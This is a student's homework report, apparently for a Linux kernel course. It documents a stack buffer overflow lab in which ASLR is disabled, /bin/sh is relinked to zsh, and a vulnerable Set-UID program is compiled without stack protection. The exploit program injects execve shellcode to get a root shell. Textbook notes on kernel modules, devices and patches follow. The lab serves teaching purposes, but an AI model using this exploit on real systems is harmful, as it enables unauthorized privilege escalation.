20169212《Linux内核原理与分析》第十一周作业

缓冲区溢出漏洞实验

缓冲区溢出漏洞：缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制，甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭，溢出会引起返回地址被重写。

输入命令安装一些用于编译32位C程序的东西:

sudo apt-get update

sudo apt-get install lib32z1 libc6-dev-i386

sudo apt-get install lib32readline-gplv2-dev

输入命令“linux32”进入32位linux环境,输入“/bin/bash”使用bash



在这里linux32命令出现了问题，去网上查了一下没有解决，但是会显示linux32，也可以继续使用。

/bin 代表的是binary, 二进制文件，主要就是一些系统命令；还有一个常用的目录是/usr/bin，几乎所有的应用程序的可执行文件都装这里的。

/bin/bash说明你的shell类型为bash，bash shell是最常用的一种shell, 是大多数Linux发行版默认的shell。

Ubuntu和其他一些Linux系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中，我们使用以下命令关闭这一功能：

sudo sysctl -w kernel.randomize_va_space=0

设置 randomize_va_space 为 0 后，再看看 cat 的内存布局，可以看出，栈和 mmap 区域都从固定位置开始了。

此外，为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击，许多shell程序在被调用时自动放弃它们的特权。因此，即使你能欺骗一个Set-UID程序调用一个shell，也不能在这个shell中保持root权限，这个防护措施在/bin/bash中实现。

linux系统中，/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接。为了重现这一防护措施被实现之前的情形，我们使用另一个shell程序（zsh）代替/bin/bash。下面的指令描述了如何设置zsh程序：

sudo su

cd /bin

rm sh

ln -s zsh sh

exit

然后进入tmp目录，cd /tmp

将漏洞程序stack.c，保存到 /tmp 目录下

/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
char buffer[12];

/* The following statement has a buffer overflow problem */
strcpy(buffer, str);

return 1;
}

int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}

然后进行gcc编译，如图

设置SET-UID

GCC编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。

而 -z execstack 用于允许执行栈。

我们的目的是攻击刚才的漏洞程序，并通过攻击获得root权限。

把以下代码保存为“exploit.c”文件，保存到 /tmp 目录下。攻击程序代码如下：

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=
//获得一个shell
"\x31\xc0"    //xorl %eax,%eax
"\x50"        //pushl %eax
"\x68""//sh"  //pushl $0x68732f2f
"\x68""/bin"  //pushl $0x6e69622f
"\x89\xe3"    //movl %esp,%ebx
"\x50"        //pushl %eax
"\x53"        //pushl %ebx
"\x89\xe1"    //movl %esp,%ecx
"\x99"        //cdq
"\xb0\x0b"    //movb $0x0b,%al
"\xcd\x80"    //int $0x80
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

注意上面的代码，“\x??\x??\x??\x??”处需要添上shellcode保存在内存中的地址，因为发生溢出后这个位置刚好可以覆盖返回地址。

而 strcpy(buffer+100,shellcode); 这一句又告诉我们，shellcode保存在 buffer+100 的位置。

现在我们要得到shellcode在内存中的地址，输入命令：

gdb stack

disass main

结果如图：



接下来的操作：



根据语句 strcpy(buffer+100,shellcode); 我们计算shellcode的地址为 0xffffd020(十六进制)+100(为十进制，十六进制为64)=0xffffd084(十六进制)

现在修改exploit.c文件，将 \x??\x??\x??\x?? 修改如下



然后，编译exploit.c程序：

gcc -m32 -o exploit exploit.c

先运行攻击程序exploit，再运行漏洞程序stack，得出攻击结果

攻击成功获取了root权限，其中whoami处无法删除输入内容。

书上内容

1. 在Linux以及所有Unix系统中，设备被分为以下三种类型：
   
   块设备、字符设备、网络设备。块设备可寻址，寻址以块为单位；字符设备不可寻址，仅提供数据的流式访问；网络设备最常见的类型有时以以太网设备来称呼，提供了对网络的访问。
2. 构建模块：把模块源码加入到内核源代码树中或者在内核源码树之外维护和构建块源码。

makefile
obj-m := fishing.o
fishing-objs := fishing-main.o fishing-line.o
make -C /kernel/source/location SUBDIRS = $PWD modules

模块参数:module_param(name, type, perm),name：用户可见的参数名;type：参数类型;perm：sysfs文件系统下的文件权限。导出符号表

导出的内核函数可被模块调用，导出内核函数需要使用特殊的指令： EXPORT_SYMBOL() 和EXPORT_SYMBOL_GPL()。

3. 设备模型:kobject,包含引用计数，父子关系和对象名称等基本对象道具，以统一方式提供这些功能。ktype,定义了一些kobject相关默认特性，如析构、sysfs行为等。kset:嵌入的kobject作为kobject组的基类；kset将相关的kobject集合在一起，相关的kobject以独立目录与sysfs中。

4. Linux是一个可移植性非常好的操作系统，广泛支持许多不同体系结构的计算机；不透明数据类型隐藏了它们的内部格式或结构。在c语言中，它们就像黑盒一样。支持它们的语言不是很多。作为替代，开发者们利用巧def声明一个类型，把它叫做不透明类型，希望其他人别去把它重新转化回对应的那个标准C类型。

5. C标准表示char类型可以带符号也可以不带符号，由具体的编译器、处理器或由它们两者共同决定。字节顺序是指在一个字中各个字节的顺序。最低有效位所在的字节放在高字节位置上，其他字节依次放在低字节位置上，为最低位优先。

6. 当处理用页组织管理的内存时，通过PAGE_SIZE以字节数来表示页长度，而PAGE_SHIFT这个值定义了从最右端屏蔽多少位能够得到该地址对应的页的页号。

7. 要想写出可移植性好、简洁、合适的内核代码，要注意以下两点：编码尽量选取最大公因子：假定任何事情都可能发生，任何潜在的约束也都存在;编码尽量选取最小公约数不要假定给定的内核特性是可用的，仅仅需要最小的体系结构功能。

8. Linux的最大优势就是它有一个紧密团结了众多使用者和开发者的社区，检查代码；缩进风格是用制表位每次缩进8个字符长度；创建补丁：

创建整个内核，patch diff -urN linux-origin/ linux-change/ > my_patch；创建指定文件的patch，diff -u linux-origin/some/file linux-change/some/file > my_patch_file；在自己代码目录下执行，patch patch -p1 < ../my_patch。